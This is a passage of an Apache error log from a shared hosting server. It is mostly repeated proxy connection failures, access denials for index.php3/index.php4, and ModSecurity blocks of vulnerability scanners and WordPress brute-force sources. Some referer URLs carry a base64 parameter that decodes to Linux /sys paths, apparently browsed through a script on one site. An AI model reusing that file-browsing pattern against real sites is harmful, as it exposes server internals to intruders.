[Sat Jun 13 18:22:13.021183 2026] [proxy_http:error] [pid 715691:tid 715907] [client 208.84.100.145:37268] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.021748 2026] [proxy:error] [pid 715691:tid 715946] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.021817 2026] [proxy_http:error] [pid 715691:tid 715946] [client 208.84.100.145:37354] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.023627 2026] [proxy:error] [pid 715691:tid 715946] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.024686 2026] [proxy_http:error] [pid 715691:tid 715946] [client 208.84.100.145:37354] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.025037 2026] [proxy:error] [pid 715691:tid 715924] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.025083 2026] [proxy_http:error] [pid 715691:tid 715924] [client 208.84.100.145:37250] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.033519 2026] [proxy:error] [pid 715691:tid 715949] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.033614 2026] [proxy_http:error] [pid 715691:tid 715949] [client 208.84.100.145:37254] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.034014 2026] [proxy:error] [pid 715691:tid 715916] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.034111 2026] [proxy_http:error] [pid 715691:tid 715916] [client 208.84.100.145:37398] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.034475 2026] [proxy:error] [pid 715691:tid 715949] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.034540 2026] [proxy_http:error] [pid 715691:tid 715949] [client 208.84.100.145:37254] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.036741 2026] [proxy:error] [pid 715691:tid 715948] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.036825 2026] [proxy_http:error] [pid 715691:tid 715948] [client 208.84.100.145:37210] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.037748 2026] [proxy:error] [pid 715691:tid 715948] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.037799 2026] [proxy_http:error] [pid 715691:tid 715948] [client 208.84.100.145:37210] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.038919 2026] [proxy:error] [pid 715691:tid 715916] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.038975 2026] [proxy_http:error] [pid 715691:tid 715916] [client 208.84.100.145:37398] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.044989 2026] [proxy:error] [pid 715691:tid 715891] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.045069 2026] [proxy_http:error] [pid 715691:tid 715891] [client 208.84.100.145:37324] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.046292 2026] [proxy:error] [pid 715691:tid 715891] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.046340 2026] [proxy_http:error] [pid 715691:tid 715891] [client 208.84.100.145:37324] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.048019 2026] [proxy:error] [pid 715691:tid 715905] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.048076 2026] [proxy_http:error] [pid 715691:tid 715905] [client 208.84.100.145:37300] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.048944 2026] [proxy:error] [pid 715691:tid 715905] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.048999 2026] [proxy_http:error] [pid 715691:tid 715905] [client 208.84.100.145:37300] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.050243 2026] [proxy:error] [pid 715691:tid 715923] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.050312 2026] [proxy_http:error] [pid 715691:tid 715923] [client 208.84.100.145:37372] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.051916 2026] [proxy:error] [pid 715691:tid 715845] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.051975 2026] [proxy_http:error] [pid 715691:tid 715845] [client 208.84.100.145:37234] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.055071 2026] [proxy:error] [pid 715691:tid 715923] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.055147 2026] [proxy_http:error] [pid 715691:tid 715923] [client 208.84.100.145:37372] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.055661 2026] [proxy:error] [pid 715691:tid 715868] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.055717 2026] [proxy_http:error] [pid 715691:tid 715868] [client 208.84.100.145:37266] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.056588 2026] [proxy:error] [pid 715691:tid 715868] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.056666 2026] [proxy_http:error] [pid 715691:tid 715868] [client 208.84.100.145:37266] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.057204 2026] [proxy:error] [pid 715691:tid 715845] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.057246 2026] [proxy_http:error] [pid 715691:tid 715845] [client 208.84.100.145:37234] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.058538 2026] [proxy:error] [pid 715691:tid 715901] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.061049 2026] [proxy_http:error] [pid 715691:tid 715901] [client 208.84.100.145:37226] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.063236 2026] [proxy:error] [pid 715691:tid 715901] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.063307 2026] [proxy_http:error] [pid 715691:tid 715901] [client 208.84.100.145:37226] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.063678 2026] [proxy:error] [pid 715691:tid 715942] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.064898 2026] [proxy_http:error] [pid 715691:tid 715942] [client 208.84.100.145:37186] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.065374 2026] [proxy:error] [pid 715691:tid 715859] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.065455 2026] [proxy_http:error] [pid 715691:tid 715859] [client 208.84.100.145:37422] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.066746 2026] [proxy:error] [pid 715691:tid 715859] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.066808 2026] [proxy_http:error] [pid 715691:tid 715859] [client 208.84.100.145:37422] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.066916 2026] [proxy:error] [pid 715691:tid 715942] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.066984 2026] [proxy_http:error] [pid 715691:tid 715942] [client 208.84.100.145:37186] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.068177 2026] [proxy:error] [pid 715691:tid 715927] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.068240 2026] [proxy_http:error] [pid 715691:tid 715927] [client 208.84.100.145:37384] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.068685 2026] [proxy:error] [pid 715691:tid 715906] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.068743 2026] [proxy_http:error] [pid 715691:tid 715906] [client 208.84.100.145:37338] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.069173 2026] [proxy:error] [pid 715691:tid 715927] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.069227 2026] [proxy_http:error] [pid 715691:tid 715927] [client 208.84.100.145:37384] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.069488 2026] [proxy:error] [pid 715691:tid 715906] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.069528 2026] [proxy_http:error] [pid 715691:tid 715906] [client 208.84.100.145:37338] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.071353 2026] [proxy:error] [pid 715691:tid 715887] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.071437 2026] [proxy_http:error] [pid 715691:tid 715887] [client 208.84.100.145:37156] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.072377 2026] [proxy:error] [pid 715691:tid 715904] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.072446 2026] [proxy_http:error] [pid 715691:tid 715904] [client 208.84.100.145:37046] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.073162 2026] [proxy:error] [pid 715691:tid 715904] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.073201 2026] [proxy_http:error] [pid 715691:tid 715904] [client 208.84.100.145:37046] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.073449 2026] [proxy:error] [pid 715691:tid 715937] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.073496 2026] [proxy_http:error] [pid 715691:tid 715937] [client 208.84.100.145:37200] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.073588 2026] [proxy:error] [pid 715691:tid 715887] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.073619 2026] [proxy_http:error] [pid 715691:tid 715887] [client 208.84.100.145:37156] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.074206 2026] [proxy:error] [pid 715691:tid 715937] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.074245 2026] [proxy_http:error] [pid 715691:tid 715937] [client 208.84.100.145:37200] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.077100 2026] [proxy:error] [pid 715691:tid 715843] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.077156 2026] [proxy_http:error] [pid 715691:tid 715843] [client 208.84.100.145:37172] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.077838 2026] [proxy:error] [pid 715691:tid 715908] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.077917 2026] [proxy_http:error] [pid 715691:tid 715908] [client 208.84.100.145:37132] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.078085 2026] [proxy:error] [pid 715691:tid 715843] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.078136 2026] [proxy_http:error] [pid 715691:tid 715843] [client 208.84.100.145:37172] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.078243 2026] [proxy:error] [pid 715691:tid 715844] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.078304 2026] [proxy_http:error] [pid 715691:tid 715844] [client 208.84.100.145:37134] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.079077 2026] [proxy:error] [pid 715691:tid 715908] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.079130 2026] [proxy_http:error] [pid 715691:tid 715908] [client 208.84.100.145:37132] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.079196 2026] [proxy:error] [pid 715691:tid 715844] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.079232 2026] [proxy_http:error] [pid 715691:tid 715844] [client 208.84.100.145:37134] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.090331 2026] [access_compat:error] [pid 715691:tid 715814] [remote 57.141.14.80:46931] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:13.090743 2026] [access_compat:error] [pid 715691:tid 715814] [remote 57.141.14.80:46931] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:13.206003 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:22:13.206447 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:22:13.251461 2026] [security2:error] [pid 715691:tid 715831] [remote 57.141.14.101:37352] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 101.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30NbV-dFiaX9AtWiQY1gABd3g"], referer: https://nelsonfarmstn.com/shop/page/2/?add_to_wishlist=3129&_wpnonce=b47b24fa5d&add-to-cart=1257 [Sat Jun 13 18:22:13.321702 2026] [access_compat:error] [pid 715691:tid 715799] [remote 57.141.14.18:24706] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:13.321979 2026] [access_compat:error] [pid 715691:tid 715799] [remote 57.141.14.18:24706] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:13.392294 2026] [security2:error] [pid 715691:tid 715833] [remote 17.22.253.102:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30NbV-dFiaX9AtWiQY3AABW3o"] [Sat Jun 13 18:22:13.422412 2026] [security2:error] [pid 715691:tid 715714] [remote 209.74.93.184:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.93.74.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "levantsoleil.com"] [uri "/wp-login.php"] [unique_id "ai30NbV-dFiaX9AtWiQY3gABRQQ"], referer: https://levantsoleil.com/wp-login.php [Sat Jun 13 18:22:13.700803 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:22:13.701101 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:22:13.898947 2026] [proxy:error] [pid 715691:tid 715844] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.899043 2026] [proxy_http:error] [pid 715691:tid 715844] [client 208.84.100.145:37080] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.899864 2026] [proxy:error] [pid 715691:tid 715844] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.899918 2026] [proxy_http:error] [pid 715691:tid 715844] [client 208.84.100.145:37080] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.900039 2026] [proxy:error] [pid 715691:tid 715879] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.900129 2026] [proxy_http:error] [pid 715691:tid 715879] [client 208.84.100.145:37090] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.900240 2026] [proxy:error] [pid 715691:tid 715843] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.900304 2026] [proxy_http:error] [pid 715691:tid 715843] [client 208.84.100.145:37104] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.901024 2026] [proxy:error] [pid 715691:tid 715843] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.901074 2026] [proxy_http:error] [pid 715691:tid 715843] [client 208.84.100.145:37104] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.904897 2026] [proxy:error] [pid 715691:tid 715879] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.904962 2026] [proxy_http:error] [pid 715691:tid 715879] [client 208.84.100.145:37090] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.910650 2026] [proxy:error] [pid 715691:tid 715967] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.910733 2026] [proxy_http:error] [pid 715691:tid 715967] [client 208.84.100.145:37072] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.911622 2026] [proxy:error] [pid 715691:tid 715967] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.911685 2026] [proxy_http:error] [pid 715691:tid 715967] [client 208.84.100.145:37072] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.917600 2026] [proxy:error] [pid 715691:tid 715908] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.917727 2026] [proxy_http:error] [pid 715691:tid 715908] [client 208.84.100.145:37058] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.919400 2026] [proxy:error] [pid 715691:tid 715908] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.919467 2026] [proxy_http:error] [pid 715691:tid 715908] [client 208.84.100.145:37058] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.968372 2026] [security2:error] [pid 646876:tid 646948] [remote 17.22.253.149:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30NdyTkdrNlD40tSHMVgAAE0U"] [Sat Jun 13 18:22:14.079598 2026] [access_compat:error] [pid 715691:tid 715777] [remote 57.141.14.99:57328] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:14.080053 2026] [access_compat:error] [pid 715691:tid 715777] [remote 57.141.14.99:57328] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:14.148210 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.100:25075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:14.148473 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.100:25075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:14.235854 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:22:14.236131 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:22:14.277152 2026] [security2:error] 